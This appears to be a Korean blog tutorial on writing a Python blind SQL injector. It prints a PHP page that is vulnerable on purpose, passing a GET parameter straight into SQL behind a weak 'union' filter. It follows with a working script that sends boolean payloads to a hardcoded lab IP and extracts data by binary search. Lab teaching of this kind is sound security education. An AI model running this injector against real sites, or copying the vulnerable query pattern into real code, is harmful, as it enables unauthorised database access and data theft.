[Python] 참/거짓 판단 함수를 이용한 SQL 인젝션
참/거짓 판단 함수를 이용한 SQL 인젝션
인젝터
블라인드 SQL 인젝터 Error 기반 SQL 인젝터에 몇 가지 항목을 추가하면 구현이 가능합니다 .
추가 구현 항목은 Error기반과 블라인드 방식의 차이점을 생각하면 알 수 있습니다 .
- HTTPEQ 결과에서 Error기반은 구분자를 활용하여 데이터를 획득했다면 , 이번에는 공격 구문의 수행 결과가 명제가 참인지 거짓인지 판단하는 방식으로 수정이 필요합니다 .
- 블라인드 방식은 Error 기반에 비해서 공격 쿼리 수행결과 참/거짓 유무로만 데이터 획득이 가능하기 때문에 효율적인 검색을 위해 이진탐색 알고리즘 구현이 필요합니다 .
블라인드 기반의 주요 추가 사항
변경 및 추가 항목 | 세부내용 |
참/거짓 판단 | 주입한 SQL 구문의 수행결과 명제의 참/거짓 유무 판단 |
이진 탐색 | 데이터를 효율적으로 탐색하기 위한 탐색 알고리즘 |
데이터 획득 | 데이터의 길이 확인 및 한 글자씩 분할 획득 |
앞서 실습한 empinfo_blind_php 파일로 실습을 진행했습니다 .
empinfo_blind_php
<?php
if (!$link = mysql_connect('localhost', 'root', 'root')) {
echo 'Could not connect to mysql';
exit;
}
if (!mysql_select_db('northwind', $link)) {
echo 'Could not select database';
exit;
}
$_empid = $_GET['empid'];
$sql = 'SELECT * FROM Employees WHERE EmployeeID=' . $_empid;
$result = mysql_query($sql, $link);
if(strpos(strtolower($_empid), "union")==FALSE) $result = mysql_query($sql, $link);
if (!$result) {
echo "DB Error, could not query the database\n";
echo 'MySQL Error: ' . mysql_error();
exit;
}
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td>
<td>Title</td><td>Hire Date</td>\n\t</tr>";
while ($row = mysql_fetch_assoc($result)) {
print "\t<tr>\n\t\t<td>" . $row['EmployeeID'] . "</td><td>"
. $row['FirstName'] . "</td><td>" . $row['Title'] . "</td><td>" .
$row['HireDate'] . "</td>\n\t</tr>\n";
}
print "</table>\n";
mysql_free_result($result);
?>
참/거짓 판단 함수
HTTPREQ 함수의 delims에는 참인 경우에만 노출되는 키워드를 입력하고 split 코드는 문자열이 포함되어 있는지 확인가능한 find함수로 변경합니다.
#-*- coding: utf-8 -*-
import httplib
import urllib
import sys
def httpreq(query):
headers = { "User-Agent" : "Mozilla/5.0 (Window NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",
"Content-type": "application/x-www-form-urlencoded","Accept": "text/html",
"Connection": "keep-alive"}
delims = "!~!~!"
delims = "Nancy"
domain = "3.238.101.123" # 가상머신 주소
url = "/empinfo_id_blind.php" # 취약한 URL
params = "empid=1+and+" + query + "%23"
conn = httplib.HTTPConnection(domain,"80")
conn.request("GET",url + "?" + params,None,headers)
response = conn.getresponse().read()
if(response.find(delims)>0):
return 1
else:
return 0
rcount =
"(select+count(*)+from+information_schema.tables+where+table_type='base+table')>0"
cnt = int(httpreq(rcount))
print cnt
sys.exit()
추가한 참/거짓 판단 함수가 정상적으로 동작하는지 테스트 하기 위해서 테이블 목록 개수가 0보다 큰지 확인하는 예시를 추가했습니다 .
rcount = "(select+count(*)+from+information_schema.tables
+where+table_type='base+table')>0"
실행 결과
수행 결과가 참 이라는 1이 출력되었습니다 .
테이블의 목록 개수가 100보다 큰지 확인
rcount = "(select+count(*)+from+
information_schema.tables+where+table_type='base+table')>100"
100 보다는 작다는 것을 알 수 있습니다 .
이진 탐색 기법으로 레코드 개수 확인
명제 | 응답 결과 | 검색 범위 | 검색 결과 |
>50 | 1 | 01~100 | 51~100 |
>75 | 0 | 51~100 | 51~75 |
>63 | 0 | 51~75 | 51~63 |
>57 | 0 | 51~63 | 51~57 |
>54 | 1 | 51~57 | 55~57 |
>56 | 0 | 55~57 | 55~56 |
>55 | 1 | 55~56 | 56 |
댓글
댓글 쓰기